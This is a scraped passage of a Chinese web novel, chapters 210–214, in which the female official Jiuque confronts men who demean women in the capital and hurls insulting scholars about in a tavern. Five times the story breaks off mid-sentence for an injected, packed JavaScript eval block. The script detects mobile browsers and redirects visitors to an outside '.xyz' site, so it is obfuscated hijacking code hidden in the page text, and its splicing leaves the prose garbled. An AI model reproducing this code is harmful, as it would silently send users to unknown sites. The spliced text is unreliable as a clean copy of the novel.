刚开始的时候她还分不清到底是哪些人少了,可是看着看着九阙突然明白过来,这大街上少的不正是女子吗?她分明记得这条街那个卖绣品的摊主是个二十岁左右的年轻姑娘,刚和丈夫成亲,夫妻两个感情很好,以往九阙路过的时候还会看到当丈夫的给妻子送饭。 可现在卖东西的怎么变成了那个丈夫? 越想越觉得奇怪,九阙干脆停了下来,来到那摊前,随手拿起一块绣帕。 “小哥,我怎么记得以前在这儿卖绣品的是你家娘子?今儿怎么换成你了?” 原本十分热情的摊贩老板脸上的表情顿了顿,似乎有些不太自然,但是看了一眼九阙的穿戴,还是尽量摆出一幅热情的模样。 “我家娘子她身体不太舒服,这半个月都在家休养。客人您想要什么东西问我也是一样的,我家的东西我也很熟悉。” “……我记得这些绣品都是你家娘子和她的小姐妹们做出来的,你一个男人对这些秀品也很了解?” “那可不是,您可别小瞧我。不过就是些绣品而已,任何一个女人都能做,但这迎来送往,买卖货品的活,还是得交给我们男人干。您别看我是个男人,但摊子上这些货我可是熟悉的很,看娘子您的样貌年纪,应该已经成亲了吧?要不看看这张绣着鸳鸯戏水的帕子?保准您的夫君看了觉得欣喜。” “……为何我买东西要让我夫君觉得高兴?难道不应该叫我感到高兴吗?” 那摊贩老板有些惊讶,但还是用那种理所当然的语气推销。 “我看您面色红润精神气十足,应当是与自家夫君相处的很不错。买个能增加夫妻感情的帕子不是恰如其分吗?” “……” 九阙已经不想再和这个人说话了,以往见到的时候,这个摊贩老板给自己妻子送饭嘘寒问暖,俨然一副暖男模样。竟不知原来是个这样的俗人!原来一个女人看起来精气神十足,只能是因为和夫君的感情好?不能是因为她自己个儿身体健康,生活如意? 而且是她来买东西,她才是顾客。卖东西的人不站在顾客的角度立场思考,反而站在根本没有见到的男人立场上思考,这种思想也是够奇怪的。 如果说来之前九阙还想着买两张帕子也没什么,那么在听到这摊主说话之后,九阙那是一方手帕都不想买了。 “下回还是让你家娘子出来摆摊儿吧。如果我没猜错的话,你这几日的生意很差吧?” “这……” 那摊主的表情顿时有些难看,想说些什么,但是看在九阙浑身穿搭以及淡定自若的份儿上没敢说出口,只是愤愤的跺了跺脚。见九阙走出去两步,心中又实在憋闷的厉害,故意用一种九阙能听到的声音小声嘀咕。 “女人怎么可能比得上男人?那是因为我这几天还不太熟练,等熟练了,我一定卖的比她好。一个女人不好好在家待着,反而在外面闲逛,定不是什么良家女子。看起来倒像是大户人家出身,只是出来竟然也不戴个帷帽,真是有失体统。怪不得二殿下说要引领京城女子新的风尚。要是每个女人都跟这样似的,这世道该多坏呀!” 九阙走出去的脚步慢慢停下,她眯了眯眼,本来想着不过是萍水相逢,看不过眼不去买也就算了,没想到这人竟然这般没眼色,当着她的面都敢嘀嘀咕咕。 转身大步走回去,那小摊贩只敢背后嘀咕,见九阙这雷厉风行的气势自己先吓了个半死,连忙后退几步护住自己。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846391|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你!你想做什么?” “我说,你这种只敢在背后嘀咕,不敢当面说话的人,真是枉为男儿。你心里一定很高兴,因为近段时间京城里的风气使然,你妻子不能在外面卖绣品,只能窝在家里那三寸地方。掌握了家里的经济大权,滋味是不是很好啊?是不是觉得你妻子只能依托于你的感觉特别爽?是不是觉得自己高她一等?是不是认为你才是一家之主?她应该无条件的伺候你,把你当做神明一样敬畏着?是不是还觉得,他操持家务,缝制绣品,忙的脚不沾地是理所当然,甚至根本不能看到她闲着片刻?” 那小摊贩的脸色在九阙一下接一下的询问声中变得难看无比,周围那些摊贩扫视过来的目光叫他更觉得脸上火辣辣的。 可他偏偏又说不出来半个反驳的字,因为九阙那一连串质问正好戳破了他心里那点不为人知的念头。他甚至惊恐于九阙能描述的如此准确。 对这样的人九阙是多瞧一眼也嫌脏。 “以前靠着妻子买卖绣品过活,仰人鼻息的滋味肯定不好受,你大概从与她成亲起就一直心中愤愤不平吧,一直想找个机会证明他比不上你,可是你左找右找都找不到你比她强的地方。现在你终于找到了,原来你是个男人啊!男人天 生就比女人强,这就是你的优势,对吧?” 那小摊贩嘴唇微动,他到底没有愚蠢到当街承认的地步,只是一味的不说话,想要靠装死来躲过这一劫。 然而九阙早就将这种男人摸的透透的,不说别的,她那个名义上的亲爹不也是这种人吗?吃了别人家的饭还嫌人家饭馊,甚至嫌弃人家没有把自己的万贯家财卑躬屈膝的全都送给他! 这种男人,作的厉害。就是典型的凤凰男呗。 以往找不到自己比女人强的地方,还觉得怀才不遇,如今靠着二皇子的风终于找到了,原来下边儿多了个物件,好像就比女人尊贵许多。 当真可笑! 第二百一十章 丢人哟 “知道我为什么明白你这几天的生意不好吗?因为就你这种站在男人的立场上吆喝,把你的想法强加给女人的人,怎么可能招揽的了生意?” “如果不想让你家这摊子彻底没生意的话,还是赶紧让你妻子过来吧。上头那些尊贵人玩的游戏跟你有什么关系?温饱都解决不了,还想学着人家鄙夷女子,未免太过可笑。” 说完这句话,九阙转身就走,周围那些看热闹的摸了摸鼻子,赶紧退开。 乖乖,好长一段时间都没见到京中有这等敢说话的小娘子了。瞧瞧这话锋利的,都快把那个小摊贩给羞愧致死了。 那小摊贩见九阙已经走远,这回倒是敢大声唾骂了,只不过周围有眼明心亮的人好心劝了一句。 “我看你也是个没成见的,没看见人家坐的那马车是只有当官的人才能坐的吗?马车前面垂着的宫铃那可是宫中的样式。我猜这位就是镇安伯了。你一个升斗小民竟然敢骂当朝伯爵?!以民辱官,可是要打板子的!你还得谢谢人家没跟你一般见识。” 那小摊贩狠狠愣了一下,连忙打量那渐渐远去的马车,当发现的过路之人所说为真之际,脸色顿时变得惨白,当下也不想着卖东西了,赶紧收拾收拾转身就跑。 周围的摊贩见状摇了摇头,觉得绣娘子当真是嫁了个不知所谓的男人。以前看着样样都好,也是个温柔体贴的。也就这个月以来,不知怎的说服了绣娘子让其在家摆弄绣片,自己出来做买卖。眼看着这生意是一日不如一日,还非得强撑着。 以往他们这些街坊邻居也只是觉得奇怪,今儿个被那位女官挑明了才知道。原来这小子是打着包揽生意将绣娘子圈在后院的主意。呸!当真是恶心透顶。 这小子一穷二白的,如果不是长了张还算不错的脸,怎可能娶得了绣娘子?绣娘子可是他们这一片儿出了名的能干人。小小年纪就撑起这摊子,顺带着周围的小姐妹们也都靠着绣品发了笔小财。没良心的,娶了绣娘子那样好的闺女,还明里暗里作践人家,真是要命。 回到马车里的九阙也并没有大获全胜的欣喜感,她此刻眉头紧簇,脸上的表情相当严肃。这才多长时间?京中的风气就转变至此。那个二皇子当真是‘居功甚伟’。作为堂堂皇子,不想着利国利民,也不想着如何上阵杀敌,保家卫国。偏偏在这种压迫女子,打压女子地位的事儿上格外来劲儿。他是真的闲着没事儿干了。 但要命的是在这个封建时代,上位者的一言一行往往会引起下位者的无限模仿。尤其那个二皇子虽说为人不咋样,但当真有可能坐上下一任皇帝的宝座,这种情况下,有的是人愿意讨好他,模仿他。 现在是女子不能在外面摆摊儿做生意,接下来是不是没有男子陪同就不能出门了?是不是每次出门都要把自己从头到脚包裹的严严实实?再然后,是不是就没有独立的人权了? 温水煮青蛙。 当女人们反应过来的时候,他们已经没有了和男人相同的权利。 而大多数男人是不会在意这一改变的,因为他们是既得利益者。板子不打到自己身上,没有人会觉得疼。 难以想象如今还是建国初期,边关还有一支娘子军,朝中还有不少女官。在这种潜移默化的影响下,不出三年,整个国家的局势都会改变。首当其冲的就是她这个如今官位最高的女官。所以昨天二皇子是有备而来,他想要拿自己开刀,用来震慑其他女子? 呵,不是九阙看不起二皇子,以他的智商,估计还真想不到这种潜移默化温水煮青蛙的法子。定然背后有高人相助。只不过不知道这是不是当今陛下的意思。 但是再想想景泰帝的为人,也不太像。当今陛下那是妄图把男人当驴使,把女人当牛使,只要你是个会喘气儿的,对国家有用的,恨不得把你压榨致死。 所以这幕后之人居心叵测啊。就那么迫不及待的想让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846392|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大景内乱吗? 此刻马车远远的经过了菜市口,那边热闹的很,九阙想起来今儿个是处死罪犯的日子。那假王爷还有此前从黔州带回来的一票罪犯今儿个都被处死了。 此刻菜市口围满了有家人失踪的百姓,他们恨不得亲自杀了那些人。不过如今能看到他们被官府砍头,也算是给自己家人报了仇。 九阙远远的看到人头滚落,她倒是不怕死人,甚至还凑近看了看,只是忽然发现那假王爷滚落的头颅上沾染了一片花瓣。那是…… 朝颜花? 又是这东西,听说大皇子死的时候,身上也有朝颜花。这玩意儿怎么那么像个信物啊? 越想越觉得奇怪,九阙到天上居的时候还是满腹愁思。更别提他刚一走进天上居的大门,就听到旁边一群身穿文士服的书生口中激烈的讨论着二皇子以及那本风靡全京城的《女诫》。 “二皇子此举甚妙呀!我堂堂大景,乃是天朝上国,若是任由一些女子进入朝堂,致我大景的颜面于何地?” “李兄说的是。旁人不说,就说那应九阙,有那新式制盐法不说告诉自己父亲,反而揽到自己身上了。甚至还明目张胆的和林侍郎脱离关系,真是不忠不孝之辈。这样的人竟能被封为伯爵!唉,真是我国朝 的不幸。” “谁说不是呢?不仅是她,还有那个刑部叫淳于霜的。我可是已经打听出来了,那也是个不忠不孝,不仁不义之辈!被父母辛辛苦苦养大,竟然忤逆父母的意思。听说离京之前还跟自己父母大吵一架,甚至还动上手了。就这样的人,也能升官?” “不止啊!我听说那淳于霜都二十六了!哎呦!年纪这么大了都不嫁人,谁知道她是不是品行有问题?” “这还用说吗?忤逆自己父母,当然品行有问题,而且就她这样的,年纪这么大还整日出入男人窝,有哪个正经男人会要她?当个妾都嫌弃吧?丢人哟……” 第二百一十一章 飞天旋转大陀螺 “我要是她父母,就趁着她现在还没老的不成人样,赶紧找个还算顺眼的嫁出去。以后生儿育女,死了也有人烧纸摔瓦。” “没法子呀,谁让人家就是愿意往男人窝里钻呢。哎,你说她升官升的这么快,是不是与她那上司有什么纠葛呀?” 说到这里,那几个男人还彼此交换了一个你知我知的猥琐眼神,发出一阵吭吭哧哧的笑。 一看就没憋什么好屁。 偏偏这酒楼里吃喝的大多都是男人,听到他们这些讨论,不仅没有加以阻止,反而还顺着这话题发散开来。虽说没有太过暴露或者难以入耳的污言秽语,可这种窃窃私语中透露出来的不屑,最叫人难受。 简直跟吞了苍蝇似的,咽不下去又吐不出来,怎么着都难受。 九阙进去的时候明显能感到周围的空气猛然一顿,大堂里的食客不敢明目张胆的讥讽这个朝廷新贵,但那种时不时递过来的猥琐眼神,脑袋聚在一起的窃窃私语,甚至还有时不时发出的啧啧声,无一不在透露,他们看不起九阙这个新进的镇安伯,正五品的中书舍人。 搞这一套啊,未免太小儿科了些。 若是敢直接冲上来骂自己一番,九阙也佩服他们有这个勇气。偏偏连这种当面直言的勇气也没有,只敢背后窃窃私语,妄图用这种法子来证明自己的举世皆浊我独清。当真是可怜极了。 看他们都不敢对上自己的眼神,九阙扫视全场,顿觉失望。不过幸亏淳于还没来,没来得及听到这些人的污言秽语…… “九阙?你怎么不进来?” 就在这时,楼上传来一道呼唤。九阙前行的脚步猛然一顿,一抬头果然发现了淳于霜。 她站在一间雅间门口,倚在楼梯上跟自己打招呼,看上去神情语气都很正常。但九阙的表情却顿时垮了下来。 刚刚那几个大声说话的书生刚好就坐在一楼与那间雅间对应的位置,以他们说话的音量,雅间里坐着的客人肯定听得清清楚楚。所以这几个书生是故意高谈阔论,故意让淳于听见…… 好,好的很啊。 “你先等我会儿,我有点儿事儿,待会儿就上去。” 九阙脚步一转,径直朝那几个书生文人走去。那几人原本就在用眼角的余光悄悄观察九阙,这会儿见她径直走向自己,一时间有些慌乱。但左右看了看,他们那桌上最起码坐了六七个人,周围又有那么多人瞧着,不相信应九阙敢在大庭广众之下做些什么。若是辱骂他们,那正好,也让大家伙瞧瞧这个朝廷新贵脾气有多么不稳定。 女人啊,就是这么情绪化,论成熟稳重,怎么比得过他们这些男…… “砰!” 九阙走到他们跟前,直接抬脚,轻描淡写的将那桌子一脚踹飞,桌子在空中狠狠旋转了十几圈儿,重重落在一旁,将地面的砖块儿都砸碎了好几块! 那几个原本还等着九阙与他们理论的文人书生一时间根本反应不过来,只是身体本能的颤抖,脸色惨白,瞳孔狂颤!连周围那些窃窃私语都在同一时间狠狠停住,周围空气中弥漫着的是死一般的寂静。 那桌子上的饭菜以及花生蚕豆之类的东西滚落在地,这会儿有几颗蚕豆滚到九阙脚边,九阙就是轻轻碾了碾,那几颗蚕豆顿时被碾为齑粉,只是发出的声音像极了人的骨头折断的脆响。 那几个直面九阙的文人书生狠狠抖了抖。好半晌才有一个回过神来,颤抖着控诉,只是声音小极了,半点儿气势也无。 “你,你做什么?” 九阙“啧”了一下,伸出一根手指勾住那人脖颈处的衣领,直接将他挑在半空中。不得不说这人的衣服质量还挺好,九阙勾着那块布,将人在空中旋转了几圈儿,然后把他好端端的按在了椅子上。 那书生此刻翻着白眼,三魂七魄已经没了一半,身子不断抽搐,旁边那几个同伴见状都快吓抽过去了。他们也怕自己被面前这煞星举起来在空中当个玩意儿似的甩来甩去,万一她手一松,自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846393|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己岂不是要摔的头破血流? “我,我们可是当朝学子,我们可是秀才,你,你想做什么?” “哦,秀才啊。你们是哪门子的秀才?读死书读出来的吧。” 九阙伸出一根手指,照着刚刚那倒霉催的秀才椅子就是几下连戳,跟人体描边儿似的。那两节手指厚的椅子上顿时出现了一个个透明窟窿,伴随着的还有叫人牙酸的木头钻孔声。那倒霉催的秀才本来就吓得命悬一线,这会儿看到面前这煞星挨着自己的身子戳洞,生怕下一刻她的手指就戳到自己,给他身上也戳出个透明窟窿来,终于支撑不住,嘎的一声就抽过去了。 “啧,真没用,就这还是秀才呢,一点胆色都没有。我在黔州的时候,那些歹人还能撑住一刻钟,你这就不行了?不会是平日里被酒色掏空了身子吧?虚的很呀。” 遗憾的放过这出头鸟,九阙转过眼去看了几个瑟瑟发抖的书生,露出个灿烂的笑容。 那几个秀才欲哭无泪的看着应九阙,恨不得自己也跟着抽过去,然而他们的运气终究还是差些,没能当场晕过去。 九阙笑眯眯的看着他们。 “说起来,我看到各位兄台就觉 得亲切的很。不如咱们来玩个游戏吧?也能增进一下彼此的感情。以后你们若是入朝为官,这样的游戏咱们能天天玩儿。你们说好不好?不说话我就当你们答应了。这个游戏的名字就叫飞天旋转大陀螺。啊?你们没听过呀?放心,我保证,绝对很好玩儿……” 拎起面前剩下这些书生的衣领狠狠往上一抛,在第一个到达顶点之前,第二个也已经飞了上去。幸亏天上局的楼层高,玩儿大抛活人的游戏也能施展的开。那几个文弱书生也就耍耍嘴皮子上的功夫,此刻身不由己的飞上高空,楼顶和地板不停旋转跳跃,胆子大些的还能发出些尖叫,胆子小的都要晕过去了。但在这种高强度活动中,想要一直晕,不太现实。 因此,一时间,天上居内响起了惨绝人寰的惨叫。 第二百一十二章 笑死我了 原本路过的路人听到这惨叫还以为里边儿发生惨案了呢! 有好奇的赶紧走上前探头一看,结果整个人都僵立当场。那些原本不感兴趣的看到前边儿的仁兄这副模样,顿时来了兴致,连跑带跳的冲过来,只是当他看清大厅里发生的一幕时,反应还比不上前面的人,两腿一软,直接瘫坐在地上。 任谁看到有人跟抛果子似的把六个成年男子在空中抛着玩儿,都会目瞪口呆,怀疑人生。 尤其是之前大堂内也跟着讨论九阙他们的客人,这会儿两股战战,恨不得自己从未出现过。有人想趁着九阙抛那六个倒霉蛋的时候悄悄退场,但腿软的不得了,还没走出几步就软倒在地,当然了,这还得多亏了九阙抽空看过来的眼神。 九阙也觉得自从这次得胜归来,自己的力气比以前大了不少。面前这几人一百来斤的体重在她手里轻飘飘的,跟个苹果似的,实在没啥重量。 天上居能在堆满皇亲国戚,达官贵族的京城里开起来,甚至还开的这般红火,背后肯定有靠山。这会儿掌柜的听说大堂发生的事情,连忙从房间冲出来,原本还想维持一下秩序。毕竟刚刚小二跟他汇报的时候整个人都哆嗦的不成样子,还以为是有人来闹事儿,结果一到大堂就看到这完全超出常理的一幕,自己个儿也很狠腿软了一下,要不是身旁有小二扶着,估计也得出个大丑。 这掌柜的当然认识应九阙,正因如此才觉得棘手,这位可是如今备受陛下信任的朝廷新贵,陛下亲封的镇安伯,能被尊称为一声小阁老的中书舍人!可以说九阙这张脸已经在整个京城的大小官员面前挂上了号。 只是,只是掌柜的也没想到会在这种情况下见到这位朝廷新贵啊! 有心想上去劝几句,毕竟那几个被抛着玩儿的书生看着都快没气儿了。能在天上居消费的起的,家中定然有些家底儿,要是死在天上居,传到主子耳中,自然是他这个做掌柜的没当好。 但掌柜的自诩见多识广,也没见过这种情形,嘴里苦的发抖,却也不知该如何劝慰,毕竟他也是知道这几个书生嘴里不干不净的,估计是撞上正主了。抬头看看二楼的雅间,掌柜的本来还想请淳于大人说说情,结果就看到纯于霜倚在楼梯上笑眯眯看着眼前这一幕的模样。 “好!” 她甚至还叫了声好! 掌柜的真想给这二位主跪下了。 好在这时候其中一个秀才撑不住直接失禁了,九阙嫌脏,慢吞吞把他们几个放了下来,甚至还好心的把他们放在椅子上,没让他们伤到一丝一毫,也没给给那些御史们攻讦自己的机会。 这时候那六个秀才已经晕的一个不剩,九阙笑盈盈的,脸不红气不喘,好像刚刚把六个大男人在空中抛着玩儿的人不是她一样。 “我感觉这游戏还挺好玩的,以后要是有机会,咱们继续玩儿一场。不过这楼里边儿空间还是太小,等到了空旷地儿,我能把你们抛的更高。期待不期待?” 当然没人能回答她,因为这几个都抽过去了。 九阙还觉得挺遗憾。这游戏的激烈程度甚至还比不上过山车,这都能晕过去,真是没用。 拍了拍手,转身走了几步,发现大堂里那些人都直愣愣的看着自己,九阙笑盈盈的,还挺热情。 “要不你们也来玩一场?” “不不不!” 剩下那些食客终于找到了自己的声音,他们今日来天上居本来就不怀好意,毕竟仔细打听一番就知道九阙会在今日中午宴请几个小伙伴,她又没保密。今日前来本来就是为了大大嘲讽九阙和淳于霜他们几个。只是他们才刚开了个头,就撞上了九阙跟大家玩游戏的场景,这会儿谁还敢多说半个字? 赶在九阙没走过来之前连滚带爬的冲出天上居,一路哭爹喊娘的跑了。以后就算有人给十倍的价钱,他们也不做这种事儿了,简直要人命啊! 见他们离开,九阙还挺遗憾,掌柜的这会儿毕恭毕敬,就差没跪在地上服侍了,请她上二楼,九阙也没好意思为难这可怜的打工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846394|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 “掌柜的放心,今日桌椅的损毁我都会赔偿,记在我账上就行,待会儿一并结账。” “哎,哎呦,您这就折煞我了。您能来天上居,我这天上居就已经蓬荜生辉。哪还敢要您的银子?来应大人,小心台阶,小的领您上去。” 见这位掌柜的小心翼翼的模样,九阙摸了摸鼻子,觉得自己此刻说什么对方都不会相信,只能郁猝的来到淳于霜面前,一并走入雅间。 先不说外面众人狠狠松了口气,淳于霜走入雅间之后终于抑制不住,哈哈大笑起来,笑的眼泪花都出来了。 “哈哈哈哈哈……笑,笑死我了!九阙你,我没想到你居然有这项技能,以前怎么没见你施展出来?太厉害了,简直叫人刮目相看啊哈哈哈——” “……也没这么好笑吧?” 九阙拿起酒杯给自己倒了一杯,一饮而尽之后,气呼呼的看着雅间里的小伙伴。 “原来你们都到了。那你们之前还默不作声,就这么眼睁睁的看着那几个酸生侮辱我们?” 魏渊和谢明尘那叫一个冤枉。他们确实来的早些,也想出头, 可奈何淳于霜拦着不让啊。 他俩刚刚也从窗户缝儿里看到了九阙的壮举,再加上这会儿淳于霜笑的实在太过放肆,引得他们两个也忍不住笑起来。 “我,我主要是觉得,镇安伯方才如此霸气。我要是出去了,岂不是灭你的威风?” “我也是。” 瞧这两个应声筒,越看越不纯粹。 九阙郁闷的呲了呲牙花子。 “我怎么觉得好像有人在背后针对我们?不信你们没瞧出来,刚刚大堂里那些人是故意这么说的,估计就等着我来吧?我来之前他们都说什么了?” 淳于霜几个终于止住了笑意,搓了把笑的酸疼的腮帮子,言归正传。 “其实跟刚刚你听到的都差不多,不过倒是有个新消息,听说那位名满天下的于大儒,要进京了。” 第二百一十三章 于大儒 “于大儒?这是谁?” 淳于霜只能简单介绍了下。 “这位于大儒可不简单,那是位礼学大师。人家是江东地区于家的嫡支,听说自小就聪明灵透。前朝末年三元及第当了状元,却并没有接受朝廷的授官,而是选择辞官归隐。小三十年间一直在读书悟道,开办书院,门生遍布天下。” 九阙皱了皱眉,虽说淳于只是简单介绍了几句,但有这种背景的人物为何在大景朝名声不显?既然是不慕名利的学问家,为何会选择在这个时候上京?别告诉她那位于大儒不晓得如今二皇子风头正盛。 这个时候,正是皇子们相互争斗,争夺皇位的关键时期。若是不想趟这趟浑水,最好不要上京,难道那位大学问家不知道? “他为什么会在此时进京?有人邀请他?” 淳于霜沉重的点了点头,不仅有人邀请,而且那人不巧,正是当今二皇子。 行吧,这下九阙算是明白了。这位于大儒九成是二皇子招揽过来给自己纳威助阵的。不过从龙之功,这世上想来也没几个人能阻挡得了。只是可惜这京城的安静日子不多了,想必不久的将来又会掀起一阵腥风血雨。 不对呀,如果这于大儒跟自己无关的话,淳于为什么会在这个时候提起啊? 果然,淳于霜脸色不太好看。 “这位于大儒生有一子一女。儿子跟在身边,女儿嫁给了江东望族姜家子弟,只可惜嫁过去不足一年那江家子弟就因病去世。于大儒的女儿当时怀有身孕,半年之后生下了个独生女。生下孩子不到三天就悬梁自尽,追随夫君而去。这件事在江东地区广为流传,那边的人都说于大儒教女有方,女儿秉性贞洁。自己的闺女都教导的这么好,教养的学生自然会更加用心。自那以后,去于大儒所办九江书院读书的学子就更多了。” 这岂不是踩在自己女儿的尸骨上为自己扬名立万?但这种事情外人也不好说,毕竟那是于大儒女儿自己的选择。 不过事情还没完,于大儒女儿的那位独生女如今已经长大成人,于去年嫁给京中余翰林的独子,只可惜命不太好。成亲不到一年,丈夫也因病去世了。许是记挂着自己这位外孙女儿,于大儒携妻带子来京城,估计就是来处理这件事。 “听起来好像为了子孙后代还挺尽力。但在这节骨眼上,二皇子邀请他过来,总觉得好像不太对劲。” 九阙揉了揉太阳穴,觉得自己如今是越来越看不懂京城这局势了。陛下英明神武,难道就眼睁睁看着二皇子把京城搅成一团乱麻吗?听说二皇子不仅大力打压女子地位,甚至还出了个新招,说是女子若是超过十八岁未成亲,家中就要缴纳罚金!而且数额不低。 这是个什么鬼招数?侮辱人也不带这么侮辱的。大景朝女子成亲岁数普遍较晚,经过前朝的混乱,无论百官还是民间百姓都想让儿女待在自己身边的日子长一些。有些格外疼女儿的,甚至过了二十岁才给自家闺女找婆家。这说罚钱就要罚钱呀,如果这招真被采纳,九阙已经可以想象民间百姓为了减轻家里负担,会早早选择将闺女嫁出去。 可女子生儿育女本来就是道鬼门关,若是人已经长成,骨架大些倒是会少些危险。若是十五六岁的年纪就要成亲生子,对女子的身体会造成难以挽回的伤害。 这些二皇子以及他那一批幕僚到底了解过没有?还是单纯只为了针对她们几个在朝中崭露头角的女官特意设下的? 若当真如此,二皇子的目光也太过短浅了。 听到这些,就连原本不准备露面的崔逐风都忍不了了,也不知道她从哪里冒出来,这会儿憋了半天,闷闷的说出半句话。 “欺人太甚。” 若是这些当官的这般趋炎附势,为了附和上意就定下这条政策,那也太恶心人了。这天下如此多的女子,就没人为她们做主吗? 这样想着,崔逐风将目光看向了九阙。 如果说满朝文武,有谁当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14846395|154902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真为了女子着想,那也就只有九阙淳于这些女官了。 九阙叹了口气,拍拍崔前辈的手背。 “前辈放心,只要我在这官场一日,就会为眼前所见不平之事张目。这条政策若是放在建国之初,大力支持人口扩张也就算了,可如今国泰民安,百姓安居乐业,这样的政策并不符合实际。陛下虽然疼爱自己的儿子,但必定会以国事为重,短时间内不必为此担心。” 九阙没说的是,要想一切安宁的前提,是二皇子不在这个关键时候继续找事儿。 几个好朋友你看看我,我看看你。为京城这混乱的局势感到头疼,这还没有他们在外边儿做钦差努力查案子办事儿的时候清闲呢。至少不用操这么多没用的心。 不过九阙也没想到,她竟一语成谶,不过短短五日,就出事儿了。 自那日酒楼小聚之后,九阙就返回朝廷当差去了。她如今已经是中书舍人,自然不能像以往那样在街上闲溜达。当差的地方早就换成了宫里的文渊阁。说起来她第一次去文渊阁报道的时候,里面的七位阁老对她的态度相当温和,不愧是已经做到百官之首的阁老们,没那么浅见。 当然,要想让这几位阁老对她推心置腹, 教她如何当差,就不要想了。阁老们忙着处理国家大事,哪来的闲工夫带个啥都不懂的新人?因此九阙只能在一边默默观察。 反正只要来当差一天就能领一天的俸禄,没人找她做事儿岂不是还能明目张胆的摸鱼? 瞧她这般不骄不躁,几位阁老对九阙的印象倒是好了许多,至少这不是个哗众取宠的。 原本日子就这么平静的过下去,还算不错,但随着九阙回来的时间越长,周围那些同僚看她的眼神就越奇怪。 九阙当然知道,这是因为二皇子这段时间做的种种事情让这些原本就不满她一个女人封伯的官员们怒气更是蹭蹭往上涨。只不过若是他们没犯到自己面前,九阙也没打算跟他们翻脸。 第二百一十四章 贞烈女子 但没想到,九阙自个儿不想惹事儿,偏偏有事儿非得找上她。今日散了朝会,九阙本来想回文渊阁整理文书,经过这几日的等待,几位阁老总算是眼里有了她的影子,会给她分配一些整理文书的活,九阙本来还想着整理完文书之后,回去的路上买一只醉仙楼的醉仙鸭回去给几个小崽子们开开荤。 结果刚走出金銮殿的大门,还没走几步呢,自己就被从身后撞了一下。 九阙自个儿力大无穷,被撞了一下,他倒是没事儿,身后那原本蓄力撞上来的人倒是狠狠往后弹了半步,一屁股坐在地上,疼的哎呦出声。 周围上朝的官员们都闻声看了过来,九阙也不能装作没事儿发生,只能回头看了一眼。那是个看上去三十出头的官员,能开大朝会,说明身上的官位不低,勉强能说一句青年才俊。不过这会儿当着文武百官的面丢了大丑,这官员眼中闪过一丝愤恨,随即哼哼唧唧的勉强从地上爬起来。他可不敢等着应九阙把自己扶起来。 只是站起来之后,他用怎么看怎么觉得不顺眼的眼神盯着九阙看了好半晌,黏腻的视线从头到尾扫了她好几遍。 九阙面不改色,只是单刀直入的开口。 “这位大人,你如果眼睛不好,可以找个大夫看看。这样上下扫着,总是有失体统,可不要讳疾忌医。” “你胡说什么?我眼睛怎么可能有问题?!” 那官员下意识的驳斥一句,随后脸色一白,他忘了九阙如今的身份,除去中书舍人的职位,这位还是朝廷新鲜出炉的伯爵。按理,他应该自称下官。不过这个小丫头片子应该注意不到这种细节吧?不过是个女人而已,怎么可能懂得官场是非? 九阙可不惯着他,当即把脸一冷。 “这位大人,虽说本官不认识你,但看你身上的官服,应该是五品官吧?除此之外,本官身为镇安伯,朝堂之上,本官若是不介意,你自然可以松懈些。可谁给你的胆子,敢对本官不敬?!” “你?我何曾对你不敬?” 那官员还想为自己辩驳几句,奈何九阙一眼就看透这人就是想找事儿。 